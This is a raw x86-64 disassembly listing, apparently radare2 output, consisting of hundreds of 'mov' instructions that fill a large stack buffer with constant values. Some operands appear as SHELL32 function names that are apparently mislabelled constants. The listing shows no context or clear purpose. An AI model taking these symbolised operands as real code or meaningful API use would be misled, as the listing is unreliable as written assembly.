mov qword [rsp + 0xd068], rax
mov eax, 0xe85
mov word [rsp + 0x18e4], ax
movabs rax, 0x72259d54724bc7
mov qword [rsp + 0xd070], rax
mov eax, 0xa2b
mov word [rsp + 0x18e8], ax
movabs rax, 0x7c49b07e156abb
mov qword [rsp + 0xd078], rax
mov dword [rsp + 0x68dc], 0x4dd9
mov byte [rsp + 0x24e], PathYetAnotherMakeUniqueName
mov byte [rsp + 0x24f], SHDoDragDrop
mov eax, 0x21d
mov word [rsp + 0x18ec], ax
mov byte [rsp + 0x250], 0x6a
mov dword [rsp + 0x68e0], 0x5ef
mov dword [rsp + 0x68e4], 0x2849
movabs rax, 0x7af9851be2b79c
mov qword [rsp + 0xd080], rax
mov dword [rsp + 0x68e8], 0x401b
mov dword [rsp + 0x68ec], 0x7eed
mov eax, 0x62f
mov word [rsp + 0x18f0], ax
mov eax, 0xa0e
mov word [rsp + 0x18f4], ax
movabs rax, 0x763a904f64a093
mov qword [rsp + 0xd088], rax
mov dword [rsp + 0x68f0], 0x3db
movabs rax, 0x7ad40a6b9521bf
mov qword [rsp + 0xd090], rax
mov eax, 0xc76
mov word [rsp + 0x18f8], ax
mov eax, 0x25
mov word [rsp + 0x18fc], ax
movabs rax, 0x70c45e28180daa
mov qword [rsp + 0xd098], rax
movabs rax, 0x7aeb076d1afffe
mov qword [rsp + 0xd0a0], rax
mov byte [rsp + 0x251], 0xa7
movabs rax, 0x7ebf2ed0995562
mov qword [rsp + 0xd0a8], rax
mov byte [rsp + 0x252], 0xf5
movabs rax, 0x7cd48656629b26
mov qword [rsp + 0xd0b0], rax
mov eax, 0x6af
mov word [rsp + 0x1900], ax
movabs rax, 0x74dbbfa090b23e
mov qword [rsp + 0xd0b8], rax
mov eax, 0x566
mov word [rsp + 0x1904], ax
mov eax, 0x5ec
mov word [rsp + 0x1908], ax
movabs rax, 0x7761438bb21e7d
mov qword [rsp + 0xd0c0], rax
mov eax, 0x28
mov word [rsp + 0x190c], ax
mov byte [rsp + 0x253], 0x83
mov byte [rsp + 0x254], 0x6b
mov byte [rsp + 0x255], 0x70
mov eax, 0x1a7
mov word [rsp + 0x1910], ax
movabs rax, 0x7e880075e8b0ff
mov qword [rsp + 0xd0c8], rax
movabs rax, 0x79bc1d2463d60f
mov qword [rsp + 0xd0d0], rax
movabs rax, 0x70ccc35118fce6
mov qword [rsp + 0xd0d8], rax
mov dword [rsp + 0x68f4], 0x9cfe
mov dword [rsp + 0x68f8], 0xa9f3
movabs rax, 0x7ce2fe1e0f1bb7
mov qword [rsp + 0xd0e0], rax
mov eax, reloc.SHELL32.dll_SHGetNewLinkInfoW
mov word [rsp + 0x1914], ax
mov byte [rsp + 0x256], 0x6a
mov dword [rsp + 0x68fc], 0x208f
movabs rax, 0x7370edf456ce21
mov qword [rsp + 0xd0e8], rax
mov dword [rsp + 0x6900], 0xdddf
movabs rax, 0x784b130a321953
mov qword [rsp + 0xd0f0], rax
mov dword [rsp + 0x6904], 0x7cd1
mov eax, 0x34a
mov word [rsp + 0x1918], ax
movabs rax, 0x7665fe3d44b2fe
mov qword [rsp + 0xd0f8], rax
mov byte [rsp + 0x257], reloc.SHELL32.dll_ILFindLastID
mov dword [rsp + 0x6908], 0x614e
movabs rax, 0x7afb7957bc93c2
mov qword [rsp + 0xd100], rax
mov dword [rsp + 0x690c], 0xc1fc
mov dword [rsp + 0x6910], 0x4a18
mov byte [rsp + 0x258], 0x4f
movabs rax, 0x719149c6a0c8fc
mov qword [rsp + 0xd108], rax
mov dword [rsp + 0x6914], 0x2ba6
mov byte [rsp + 0x259], 0xd1
mov byte [rsp + 0x25a], 0xe4
movabs rax, 0x7eab38c816251a
mov qword [rsp + 0xd110], rax
movabs rax, 0x7ab05509413db8
mov qword [rsp + 0xd118], rax
mov eax, 0x584
mov word [rsp + 0x191c], ax
mov dword [rsp + 0x6918], 0x3ac9
mov eax, 0xff0
mov word [rsp + 0x1920], ax
mov byte [rsp + 0x25b], 0x2a
mov eax, 0x8f
mov word [rsp + 0x1924], ax
mov eax, 0x2e6
mov word [rsp + 0x1928], ax
mov eax, 0x264
mov word [rsp + 0x192c], ax
mov byte [rsp + 0x25c], 0x88
movabs rax, 0x7404c8202f4b38
mov qword [rsp + 0xd120], rax
mov dword [rsp + 0x691c], 0x6967
mov eax, 0x500
mov word [rsp + 0x1930], ax
mov eax, 0x25c
mov word [rsp + 0x1934], ax
mov dword [rsp + 0x6920], 0x43a4
mov dword [rsp + 0x6924], 0x5112
mov byte [rsp + 0x25d], 0x6c
movabs rax, 0x7325cfe45dadd0
mov qword [rsp + 0xd128], rax
mov dword [rsp + 0x6928], 0x7bb8
movabs rax, 0x7a04c98dbf09c5
mov qword [rsp + 0xd130], rax
mov dword [rsp + 0x692c], 0x258b
movabs rax, 0x77a7ebc8c9dfc8
mov qword [rsp + 0xd138], rax
mov byte [rsp + 0x25e], 0x24
mov eax, 0x64d
mov word [rsp + 0x1938], ax
mov eax, 0xde4
mov word [rsp + 0x193c], ax
mov dword [rsp + 0x6930], 0x7674
mov dword [rsp + 0x6934], 0x4470
movabs rax, 0x74c5512176b4f5
mov qword [rsp + 0xd140], rax
mov byte [rsp + 0x25f], 3
mov eax, 0x418
mov word [rsp + 0x1940], ax
movabs rax, 0x754cdc23d6da91
mov qword [rsp + 0xd148], rax
mov dword [rsp + 0x6938], 0xe4d1
mov eax, 0x41d
mov word [rsp + 0x1944], ax
movabs rax, 0x7d96bd34273a58
mov qword [rsp + 0xd150], rax
mov eax, 0xfba
mov word [rsp + 0x1948], ax
movabs rax, 0x7b25587026e76e
mov qword [rsp + 0xd158], rax
mov dword [rsp + 0x693c], 0x18aa
mov dword [rsp + 0x6940], 0x3110
movabs rax, 0x714e79216696e5
mov qword [rsp + 0xd160], rax
mov eax, 0xad2
mov word [rsp + 0x194c], ax
mov dword [rsp + 0x6944], 0x6324
movabs rax, 0x7e75c3175bab14
mov qword [rsp + 0xd168], rax
movabs rax, 0x7b77488185dd13
mov qword [rsp + 0xd170], rax
mov eax, 0x233
mov word [rsp + 0x1950], ax
mov dword [rsp + 0x6948], 0x6c52
mov dword [rsp + 0x694c], 0x30a
mov eax, 0x923
mov word [rsp + 0x1954], ax
movabs rax, 0x723481d362d00b
mov qword [rsp + 0xd178], rax
mov dword [rsp + 0x6950], 0x20ed
movabs rax, 0x74186302a18485
mov qword [rsp + 0xd180], rax
mov dword [rsp + 0x6954], 0xe9f3
movabs rax, 0x7e6d7c2ac3fd40
mov qword [rsp + 0xd188], rax
movabs rax, 0x71d9067a259b52
mov qword [rsp + 0xd190], rax
mov dword [rsp + 0x6958], 0x3ccf
mov dword [rsp + 0x695c], 0x78da
mov eax, 0x47c
mov word [rsp + 0x1958], ax
movabs rax, 0x7a5447e63d4c71
mov qword [rsp + 0xd198], rax
mov byte [rsp + 0x260], SHGetNewLinkInfoW
mov byte [rsp + 0x261], 0x7d
movabs rax, 0x724b66bfa6cc8f
mov qword [rsp + 0xd1a0], rax
mov eax, 0x6a
mov word [rsp + 0x195c], ax
mov dword [rsp + 0x6960], 0x6c00
mov byte [rsp + 0x262], ILCreateFromPathW
mov eax, 0x88f
mov word [rsp + 0x1960], ax
mov dword [rsp + 0x6964], 0xabb1
mov byte [rsp + 0x263], 0x26
movabs rax, 0x7198b2006960f8
mov qword [rsp + 0xd1a8], rax
mov dword [rsp + 0x6968], 0x2dde
mov dword [rsp + 0x696c], 0x9a16
mov dword [rsp + 0x6970], 0x372d
mov eax, 0x2e7
mov word [rsp + 0x1964], ax
movabs rax, 0x7adb2f459c0a00
mov qword [rsp + 0xd1b0], rax
mov dword [rsp + 0x6974], 0x58e
mov dword [rsp + 0x6978], 0x69d5
mov dword [rsp + 0x697c], 0xee19
mov dword [rsp + 0x6980], 0xc2b6
mov byte [rsp + 0x264], 0x68
mov eax, 0x6c8
mov word [rsp + 0x1968], ax
mov dword [rsp + 0x6984], 0xf60d
mov dword [rsp + 0x6988], 0x7840
movabs rax, 0x7958557c138058
mov qword [rsp + 0xd1b8], rax
mov dword [rsp + 0x698c], 0xfd7
mov byte [rsp + 0x265], 0x6c
mov byte [rsp + 0x266], 0x80
mov byte [rsp + 0x267], 0xc8
movabs rax, 0x799fdf9034480e
mov qword [rsp + 0xd1c0], rax
movabs rax, 0x79732b13b8da5d
mov qword [rsp + 0xd1c8], rax
mov dword [rsp + 0x6990], 0xf00b
mov eax, 0x2b5
mov word [rsp + 0x196c], ax
mov eax, 0x1ec
mov word [rsp + 0x1970], ax
mov eax, 0x7fa
mov word [rsp + 0x1974], ax
mov eax, 0x670
mov word [rsp + 0x1978], ax
mov byte [rsp + 0x268], 0x77
mov dword [rsp + 0x6994], 0x6e8c
mov eax, 0x39d
mov word [rsp + 0x197c], ax
movabs rax, 0x71b5c32f5902fd
mov qword [rsp + 0xd1d0], rax
movabs rax, 0x73ed818582ff19
mov qword [rsp + 0xd1d8], rax
mov byte [rsp + 0x269], 0x73
mov byte [rsp + 0x26a], SHDoDragDrop
mov dword [rsp + 0x6998], 0xad5b
movabs rax, 0x7bf39d3e0e052a
mov qword [rsp + 0xd1e0], rax
mov dword [rsp + 0x699c], 0x5902
mov dword [rsp + 0x69a0], 0x62eb
movabs rax, 0x7320b58a4f5f17
mov qword [rsp + 0xd1e8], rax
mov byte [rsp + 0x26b], SHDoDragDrop
mov dword [rsp + 0x69a4], 0x58b0
movabs rax, 0x79fe9996954a68
mov qword [rsp + 0xd1f0], rax
mov dword [rsp + 0x69a8], 0x408f
movabs rax, 0x7c06cfcf132bf1
mov qword [rsp + 0xd1f8], rax
movabs rax, 0x7d86dd987855c3
mov qword [rsp + 0xd200], rax
mov dword [rsp + 0x69ac], 0xe29f
mov eax, 0x74c
mov word [rsp + 0x1980], ax
mov byte [rsp + 0x26c], SHSetInstanceExplorer
mov dword [rsp + 0x69b0], 0x412d
movabs rax, 0x76609f3e0aa488
mov qword [rsp + 0xd208], rax
mov dword [rsp + 0x69b4], 0x20d5
movabs rax, 0x712fdc248bbff4
mov qword [rsp + 0xd210], rax
mov eax, 0xe56
mov word [rsp + 0x1984], ax
movabs rax, 0x7868300788befb
mov qword [rsp + 0xd218], rax
mov eax, 0x710
mov word [rsp + 0x1988], ax
mov eax, 0x44f
mov word [rsp + 0x198c], ax
movabs rax, 0x72824302a6ed3a
mov qword [rsp + 0xd220], rax
mov byte [rsp + 0x26d], ILFree
mov byte [rsp + 0x26e], 0xcb
mov eax, 0xe07
mov word [rsp + 0x1990], ax
mov eax, 0xbc1
mov word [rsp + 0x1994], ax
movabs rax, 0x7e2f854276e9c9
mov qword [rsp + 0xd228], rax
movabs rax, 0x781aa4f2ccae37
mov qword [rsp + 0xd230], rax
movabs rax, 0x76f1617ecf1d58
mov qword [rsp + 0xd238], rax
mov byte [rsp + 0x26f], 0x20
mov dword [rsp + 0x69b8], 0x7718
mov eax, 0x359
mov word [rsp + 0x1998], ax
mov byte [rsp + 0x270], 0xc9
mov eax, 0x544
mov word [rsp + 0x199c], ax
mov byte [rsp + 0x271], 0xe8
mov eax, 0x5b8
mov word [rsp + 0x19a0], ax
movabs rax, 0x7202997f93b69e
mov qword [rsp + 0xd240], rax
mov eax, 0x7d6
mov word [rsp + 0x19a4], ax
movabs rax, 0x7ab6a406817dcc
mov qword [rsp + 0xd248], rax
mov eax, 0x177
mov word [rsp + 0x19a8], ax
mov dword [rsp + 0x69bc], 0xb47d
mov dword [rsp + 0x69c0], 0x10a8
movabs rax, 0x75faef73ac6e62
mov qword [rsp + 0xd250], rax
mov eax, 0x5bc
mov word [rsp + 0x19ac], ax
mov eax, 0xdd
mov word [rsp + 0x19b0], ax
mov eax, 0x60f
mov word [rsp + 0x19b4], ax
mov eax, 0x2e0
mov word [rsp + 0x19b8], ax
mov eax, 0x3f7
mov word [rsp + 0x19bc], ax
mov byte [rsp + 0x272], reloc.SHELL32.dll_ILSaveToStream
movabs rax, 0x7824d3ea608e04
mov qword [rsp + 0xd258], rax
mov dword [rsp + 0x69c4], 0x4306
mov dword [rsp + 0x69c8], 0xc19f
movabs rax, 0x72cc107472032d
mov qword [rsp + 0xd260], rax
movabs rax, 0x74b2f3f3816316
mov qword [rsp + 0xd268], rax
movabs rax, 0x7a18e6fbe3d39d
mov qword [rsp + 0xd270], rax
mov eax, 0x26
mov word [rsp + 0x19c0], ax
movabs rax, 0x7e623e15ef53c4
mov qword [rsp + 0xd278], rax
mov eax, 0x227
mov word [rsp + 0x19c4], ax
movabs rax, 0x77761382f1e4ce
mov qword [rsp + 0xd280], rax
movabs rax, 0x7cc15789f707f9
mov qword [rsp + 0xd288], rax
movabs rax, 0x77b12bcd83a8f2
mov qword [rsp + 0xd290], rax
mov byte [rsp + 0x273], 0x6a
mov byte [rsp + 0x274], PathYetAnotherMakeUniqueName
movabs rax, 0x7125fde601ca8b
mov qword [rsp + 0xd298], rax
mov eax, 0xc2e
mov word [rsp + 0x19c8], ax
movabs rax, 0x7aa78267c475bf
mov qword [rsp + 0xd2a0], rax
movabs rax, 0x7959b8fc95ed10
mov qword [rsp + 0xd2a8], rax
mov byte [rsp + 0x275], 0x21
mov eax, 0x23
mov word [rsp + 0x19cc], ax
mov eax, 0x814
mov word [rsp + 0x19d0], ax
movabs rax, 0x75b33e0a47c2bf
mov qword [rsp + 0xd2b0], rax
mov dword [rsp + 0x69cc], 0x75d5
mov byte [rsp + 0x276], 8
movabs rax, 0x7da7590e1e9e6c
mov qword [rsp + 0xd2b8], rax
mov dword [rsp + 0x69d0], 0x743a
mov eax, 0x674
mov word [rsp + 0x19d4], ax
mov dword [rsp + 0x69d4], 0x436c
mov eax, 0x3a5
mov word [rsp + 0x19d8], ax
mov eax, 0x1bd
mov word [rsp + 0x19dc], ax
mov eax, 0xf2b
mov word [rsp + 0x19e0], ax
movabs rax, 0x75b524ef53b784
mov qword [rsp + 0xd2c0], rax
mov dword [rsp + 0x69d8], 0xcb06
mov byte [rsp + 0x277], 0x7d
mov dword [rsp + 0x69dc], 0xaa03
movabs rax, 0x7394041bc95660
mov qword [rsp + 0xd2c8], rax
mov dword [rsp + 0x69e0], 0x1d4b
mov eax, 0x515
mov word [rsp + 0x19e4], ax
movabs rax, 0x7b0d806f871658
mov qword [rsp + 0xd2d0], rax
mov byte [rsp + 0x278], 0x6c
movabs rax, 0x7be98350926951
mov qword [rsp + 0xd2d8], rax
mov byte [rsp + 0x279], ILAppendID
mov dword [rsp + 0x69e4], 0xdeba
mov eax, 0x555
mov word [rsp + 0x19e8], ax
mov byte [rsp + 0x27a], 0x75
mov byte [rsp + 0x27b], reloc.SHELL32.dll_SHDoDragDrop
mov byte [rsp + 0x27c], 0x3d
mov dword [rsp + 0x69e8], 0xa095
mov eax, 0x69f
mov word [rsp + 0x19ec], ax
mov dword [rsp + 0x69ec], 0x2194
mov eax, 0xaeb
mov word [rsp + 0x19f0], ax
mov dword [rsp + 0x69f0], 0xb4ba
mov dword [rsp + 0x69f4], 0xfe6a
movabs rax, 0x7608cb4d96ab79
mov qword [rsp + 0xd2e0], rax
mov dword [rsp + 0x69f8], 0x576e
mov dword [rsp + 0x69fc], 0xb0f7
mov eax, 0x770
mov word [rsp + 0x19f4], ax
movabs rax, 0x78a9e8a238b482
mov qword [rsp + 0xd2e8], rax
movabs rax, 0x7517b8bfdce7e4
mov qword [rsp + 0xd2f0], rax
mov byte [rsp + 0x27d], 0x3a
mov dword [rsp + 0x6a00], 0x4769
mov eax, 0x657
mov word [rsp + 0x19f8], ax
mov dword [rsp + 0x6a04], 0x50d4
mov dword [rsp + 0x6a08], 0xbf9e
mov eax, 0xfbb
mov word [rsp + 0x19fc], ax
mov byte [rsp + 0x27e], PathYetAnotherMakeUniqueName
movabs rax, 0x75fee430d514a6
mov qword [rsp + 0xd2f8], rax
mov eax, 0x71b
mov word [rsp + 0x1a00], ax
mov dword [rsp + 0x6a0c], 0xf34e
mov dword [rsp + 0x6a10], 0x40fe
mov eax, 0x3e5
mov word [rsp + 0x1a04], ax
mov dword [rsp + 0x6a14], 0x5043
mov dword [rsp + 0x6a18], 0x80b
mov byte [rsp + 0x27f], reloc.SHELL32.dll_ILRemoveLastID
movabs rax, 0x782321db84e627
mov qword [rsp + 0xd300], rax
mov eax, 0x3eb
mov word [rsp + 0x1a08], ax
mov dword [rsp + 0x6a1c], 0x1bf9
mov eax, 0xc3a
mov word [rsp + 0x1a0c], ax
mov byte [rsp + 0x280], 0x5a
movabs rax, 0x7bc42a46410668
mov qword [rsp + 0xd308], rax
mov byte [rsp + 0x281], reloc.SHELL32.dll_ILCreateFromPathW
movabs rax, 0x7080e244cf6426
mov qword [rsp + 0xd310], rax
movabs rax, 0x747fc9062645a9
mov qword [rsp + 0xd318], rax
mov byte [rsp + 0x282], reloc.SHELL32.dll_ILCombine
movabs rax, 0x763b5f7460e92a
mov qword [rsp + 0xd320], rax
mov eax, 0x7fd
mov word [rsp + 0x1a10], ax
mov byte [rsp + 0x283], 0x29
movabs rax, 0x71f75cfbbc870b
mov qword [rsp + 0xd328], rax
mov eax, 0x434
mov word [rsp + 0x1a14], ax
mov dword [rsp + 0x6a20], 0x7b05
mov dword [rsp + 0x6a24], 0x4792
movabs rax, 0x76cc9175aac2f2
mov qword [rsp + 0xd330], rax
mov dword [rsp + 0x6a28], 0x595
mov dword [rsp + 0x6a2c], 0x251a
movabs rax, 0x77dc3bbda7e7da
mov qword [rsp + 0xd338], rax
mov eax, 0x15b
mov word [rsp + 0x1a18], ax
movabs rax, 0x76c516e5abf6f9
mov qword [rsp + 0xd340], rax
mov dword [rsp + 0x6a30], 0x39dd
mov byte [rsp + 0x284], 0x2d
movabs rax, 0x7d0ddce206376b
mov qword [rsp + 0xd348], rax
mov dword [rsp + 0x6a34], 0x7349
mov byte [rsp + reloc.SHELL32.dll_SHChangeNotification_Unlock], SHSetInstanceExplorer
mov eax, 0x3b0
mov word [rsp + 0x1a1c], ax
movabs rax, 0x7b69e7c0fb2710
mov qword [rsp + 0xd350], rax
mov byte [rsp + 0x286], 0x2e
mov dword [rsp + 0x6a38], 0x6b
movabs rax, 0x7a6cefe4db31dd
mov qword [rsp + 0xd358], rax
movabs rax, 0x78c1321d027722
mov qword [rsp + 0xd360], rax
mov eax, 0x483
mov word [rsp + 0x1a20], ax
mov byte [rsp + 0x287], 3
movabs rax, 0x7ac223e43922c5
mov qword [rsp + 0xd368], rax
movabs rax, 0x70cac3eab34443
mov qword [rsp + 0xd370], rax
mov dword [rsp + 0x6a3c], 0xed7c
movabs rax, 0x7ea719c0c34199
mov qword [rsp + 0xd378], rax
mov eax, 0x599
mov word [rsp + 0x1a24], ax
mov dword [rsp + 0x6a40], 0xe88c
mov byte [rsp + 0x288], 0x6f
mov byte [rsp + 0x289], 0x23
movabs rax, 0x7ccbae58ff032e
mov qword [rsp + 0xd380], rax
movabs rax, 0x726b7d8aa525de
mov qword [rsp + 0xd388], rax
movabs rax, 0x76c0580eef4651
mov qword [rsp + 0xd390], rax
mov dword [rsp + 0x6a44], 0x4ce
movabs rax, 0x7c90a55f597f8a
mov qword [rsp + 0xd398], rax
movabs rax, 0x72b19a7c785b98
mov qword [rsp + 0xd3a0], rax
mov eax, 0x440
mov word [rsp + 0x1a28], ax
mov dword [rsp + 0x6a48], 0x5273
mov dword [rsp + 0x6a4c], 0xd42c
movabs rax, 0x7c042b85e2e2c3
mov qword [rsp + 0xd3a8], rax
movabs rax, 0x7d1fc6c6a20e40
mov qword [rsp + 0xd3b0], rax
mov eax, 0x604
mov word [rsp + 0x1a2c], ax
mov dword [rsp + 0x6a50], 0x4122
movabs rax, 0x798822270fab44
mov qword [rsp + 0xd3b8], rax
movabs rax, 0x787e64b4bbbad4
mov qword [rsp + 0xd3c0], rax
movabs rax, 0x740857aa33653d
mov qword [rsp + 0xd3c8], rax
mov dword [rsp + 0x6a54], 0xa0
mov dword [rsp + 0x6a58], 0x61b7
mov eax, 0x165
mov word [rsp + 0x1a30], ax
mov dword [rsp + 0x6a5c], 0x2030
mov eax, 0x4ba
mov word [rsp + 0x1a34], ax
mov eax, 0xf59
mov word [rsp + 0x1a38], ax
mov byte [rsp + 0x28a], 0x5d
movabs rax, 0x74638e113613ff
mov qword [rsp + 0xd3d0], rax
mov eax, 0x476
mov word [rsp + 0x1a3c], ax
mov byte [rsp + 0x28b], 0x3a
mov byte [rsp + 0x28c], 0x8a
mov byte [rsp + 0x28d], ILFree
movabs rax, 0x713afabd1719e5
mov qword [rsp + 0xd3d8], rax
mov byte [rsp + 0x28e], 0xbf
mov dword [rsp + 0x6a60], 0x5bcc
mov eax, 0x499
mov word [rsp + 0x1a40], ax
movabs rax, 0x7a4a6fa9538bfb
mov qword [rsp + 0xd3e0], rax
mov eax, 0x7a6
mov word [rsp + 0x1a44], ax
mov eax, 0x16b
mov word [rsp + 0x1a48], ax
mov dword [rsp + 0x6a64], 0xaf11
movabs rax, 0x7dc07cb8c5ad49
mov qword [rsp + 0xd3e8], rax
mov byte [rsp + 0x28f], 0x7d
mov eax, 0x984
mov word [rsp + 0x1a4c], ax
mov byte [rsp + 0x290], 0xa
movabs rax, 0x79137decc4a280
mov qword [rsp + 0xd3f0], rax
mov byte [rsp + 0x291], 0x42
movabs rax, 0x788f0920808442
mov qword [rsp + 0xd3f8], rax
mov eax, 0x7fd
mov word [rsp + 0x1a50], ax
mov byte [rsp + 0x292], 0x3a
movabs rax, 0x75007abf0d1fdc
mov qword [rsp + 0xd400], rax
mov dword [rsp + 0x6a68], 0x68e4
movabs rax, 0x744e2c2d9dae3c
mov qword [rsp + 0xd408], rax
mov eax, 0x21a
mov word [rsp + 0x1a54], ax
mov dword [rsp + 0x6a6c], 0x2f20
mov dword [rsp + 0x6a70], 0x613b
mov dword [rsp + 0x6a74], 0x64ad
mov eax, 0x434
mov word [rsp + 0x1a58], ax
movabs rax, 0x7146cd877fb3b1
mov qword [rsp + 0xd410], rax
mov byte [rsp + 0x293], 0xe8
mov dword [rsp + 0x6a78], 0xa518
mov eax, 0x6d8
mov word [rsp + 0x1a5c], ax
movabs rax, 0x79910a3b37a7e4
mov qword [rsp + 0xd418], rax
mov dword [rsp + 0x6a7c], 0xd6c8
movabs rax, 0x7ee51f36f172bc
mov qword [rsp + 0xd420], rax
mov dword [rsp + 0x6a80], 0xb187
mov dword [rsp + 0x6a84], 0x4f18
mov dword [rsp + 0x6a88], 0xa743
movabs rax, 0x7badb2f65ff1fe
mov qword [rsp + 0xd428], rax
movabs rax, 0x70b7d55679a83c
mov qword [rsp + 0xd430], rax
movabs rax, 0x70d48571b3989c
mov qword [rsp + 0xd438], rax
mov byte [rsp + 0x294], 0x67
movabs rax, 0x71c76ab439b4d9
mov qword [rsp + 0xd440], rax
mov eax, 0xf8c
mov word [rsp + 0x1a60], ax
movabs rax, 0x75b020a0764ecc
mov qword [rsp + 0xd448], rax
movabs rax, 0x739e469c115e61
mov qword [rsp + 0xd450], rax
mov eax, 0x660
mov word [rsp + 0x1a64], ax
mov byte [rsp + 0x295], 9
mov byte [rsp + 0x296], reloc.SHELL32.dll_ILFindLastID
mov byte [rsp + 0x297], ILCreateFromPathW
mov eax, 0xd8f
mov word [rsp + 0x1a68], ax
movabs rax, 0x73906a0a68dbdd
mov qword [rsp + 0xd458], rax
mov byte [rsp + 0x298], 0x28
movabs rax, 0x73a740f24f6f95
mov qword [rsp + 0xd460], rax
mov eax, 0xed4
mov word [rsp + 0x1a6c], ax
mov dword [rsp + 0x6a8c], 0x2e13
movabs rax, 0x7966006f5d3458
mov qword [rsp + 0xd468], rax
mov eax, 0x463
mov word [rsp + 0x1a70], ax
movabs rax, 0x7533321f7bbea6
mov qword [rsp + 0xd470], rax
movabs rax, 0x75318e1b3ae872
mov qword [rsp + 0xd478], rax
movabs rax, 0x79d7b674c285d2
mov qword [rsp + 0xd480], rax
movabs rax, 0x767d2ff6a1251e
mov qword [rsp + 0xd488], rax
mov eax, 0xb41
mov word [rsp + 0x1a74], ax
mov dword [rsp + 0x6a90], 0x76e
mov dword [rsp + 0x6a94], 0x5dc8
mov eax, 0x9a0
mov word [rsp + 0x1a78], ax
movabs rax, 0x7528448d1fb507
mov qword [rsp + 0xd490], rax
mov dword [rsp + 0x6a98], 0x4d67
movabs rax, 0x7181f6de743dd2
mov qword [rsp + 0xd498], rax
mov byte [rsp + 0x299], 0x66
mov eax, 0x8df
mov word [rsp + 0x1a7c], ax
mov dword [rsp + 0x6a9c], 0x2877
movabs rax, 0x73c188f6aaebc2
mov qword [rsp + 0xd4a0], rax
mov eax, 0x4a0
mov word [rsp + 0x1a80], ax
mov eax, 0x73c
mov word [rsp + 0x1a84], ax
movabs rax, 0x7650d679847ca9
mov qword [rsp + 0xd4a8], rax
mov eax, 0x459
mov word [rsp + 0x1a88], ax
mov dword [rsp + 0x6aa0], 0x2c4b
movabs rax, 0x72d2314207ddfb
mov qword [rsp + 0xd4b0], rax
mov byte [rsp + 0x29a], 0x67
mov eax, 0x24a
mov word [rsp + 0x1a8c], ax
movabs rax, 0x7e3f29e15bd2cc
mov qword [rsp + 0xd4b8], rax
mov byte [rsp + 0x29b], 0x41
mov eax, 0x348
mov word [rsp + 0x1a90], ax
mov byte [rsp + 0x29c], 0x36
mov eax, 0x780
mov word [rsp + 0x1a94], ax
mov eax, 0x14a
mov word [rsp + 0x1a98], ax
movabs rax, 0x724c118dee6b0b
mov qword [rsp + 0xd4c0], rax
movabs rax, 0x7a9924a6158640
mov qword [rsp + 0xd4c8], rax
mov byte [rsp + 0x29d], 9
movabs rax, 0x75e6f3aca6ccc4
mov qword [rsp + 0xd4d0], rax
movabs rax, 0x79d746022fc47c
mov qword [rsp + 0xd4d8], rax
mov byte [rsp + 0x29e], reloc.SHELL32.dll_ILCombine
movabs rax, 0x75af4dc95f8cde
mov qword [rsp + 0xd4e0], rax
mov byte [rsp + 0x29f], 0x6d
movabs rax, 0x7c0007167be7de
mov qword [rsp + 0xd4e8], rax
mov eax, 0x341
mov word [rsp + 0x1a9c], ax
mov eax, 0x71f
mov word [rsp + 0x1aa0], ax
mov dword [rsp + 0x6aa4], 0x13e7
mov byte [rsp + 0x2a0], 8
mov dword [rsp + 0x6aa8], 0x10a5
mov byte [rsp + 0x2a1], 0x2b
mov dword [rsp + 0x6aac], 0x25f6
mov dword [rsp + 0x6ab0], 0x225e
movabs rax, 0x77a950247a0cae
mov qword [rsp + 0xd4f0], rax
mov eax, 0x6a1
mov word [rsp + 0x1aa4], ax
movabs rax, 0x7e1124065821fa
mov qword [rsp + 0xd4f8], rax
movabs rax, 0x7e7b63765112bb
mov qword [rsp + 0xd500], rax
mov eax, 0x270
mov word [rsp + 0x1aa8], ax
movabs rax, 0x79149d568c8eed
mov qword [rsp + 0xd508], rax
movabs rax, 0x72a945b3a59d63
mov qword [rsp + 0xd510], rax
mov dword [rsp + 0x6ab4], 0x773f
movabs rax, 0x7de8133f924174
mov qword [rsp + 0xd518], rax
mov eax, 0x7b4
mov word [rsp + 0x1aac], ax
movabs rax, 0x77e58cdd0f6aa6
mov qword [rsp + 0xd520], rax
mov eax, 0x5b0
mov word [rsp + 0x1ab0], ax
mov dword [rsp + 0x6ab8], 0x3bfd
mov eax, 0x8d3
mov word [rsp + 0x1ab4], ax
mov dword [rsp + 0x6abc], 0x1ffc
mov eax, 0xac3
mov word [rsp + 0x1ab8], ax
mov byte [rsp + 0x2a2], 0x6f
mov eax, 0x394
mov word [rsp + 0x1abc], ax
mov byte [rsp + 0x2a3], 0x32
mov dword [rsp + 0x6ac0], 0xc873
mov eax, 0x157
mov word [rsp + 0x1ac0], ax
mov byte [rsp + 0x2a4], 0x42
mov eax, 0x36c
mov word [rsp + 0x1ac4], ax
movabs rax, 0x72b327d85e148b
mov qword [rsp + 0xd528], rax
mov eax, 0xf05
mov word [rsp + 0x1ac8], ax
mov byte [rsp + 0x2a5], 6
mov dword [rsp + 0x6ac4], 0x67e2
mov eax, 0x75f
mov word [rsp + 0x1acc], ax
mov eax, 0xfbb
mov word [rsp + 0x1ad0], ax
mov byte [rsp + 0x2a6], PathYetAnotherMakeUniqueName
movabs rax, 0x798c632c8da754
mov qword [rsp + 0xd530], rax
mov dword [rsp + 0x6ac8], 0x614c
mov byte [rsp + 0x2a7], ILFindChild
mov eax, 0xe9e
mov word [rsp + 0x1ad4], ax
mov dword [rsp + 0x6acc], 0x47
movabs rax, 0x7b595c832ac670
mov qword [rsp + 0xd538], rax
mov eax, 0xd98
mov word [rsp + 0x1ad8], ax
movabs rax, 0x7513ae662f6b92
mov qword [rsp + 0xd540], rax
mov byte [rsp + 0x2a8], PathYetAnotherMakeUniqueName
mov dword [rsp + 0x6ad0], 0xb907
mov byte [rsp + 0x2a9], 0xef
mov dword [rsp + 0x6ad4], 0x976c
mov eax, 0x379
mov word [rsp + 0x1adc], ax
mov eax, 0x772
mov word [rsp + 0x1ae0], ax
mov dword [rsp + 0x6ad8], 0x927a
mov dword [rsp + 0x6adc], 0x7041
movabs rax, 0x7d50eeafa905e1
mov qword [rsp + 0xd548], rax
mov eax, 0xcd4
mov word [rsp + 0x1ae4], ax
mov byte [rsp + 0x2aa], ILFree
mov dword [rsp + 0x6ae0], 0x9750
mov dword [rsp + 0x6ae4], 0xeaa
mov byte [rsp + 0x2ab], reloc.SHELL32.dll_ILCloneFirst
mov byte [rsp + 0x2ac], 0xd9
mov eax, 0x6a9
mov word [rsp + 0x1ae8], ax
movabs rax, 0x72923876e7c8a3
mov qword [rsp + 0xd550], rax
mov byte [rsp + 0x2ad], 0x37
movabs rax, 0x77b581c737afac
mov qword [rsp + 0xd558], rax
mov eax, 0xf06
mov word [rsp + 0x1aec], ax
mov dword [rsp + 0x6ae8], 0xc4f
mov eax, 0x51e
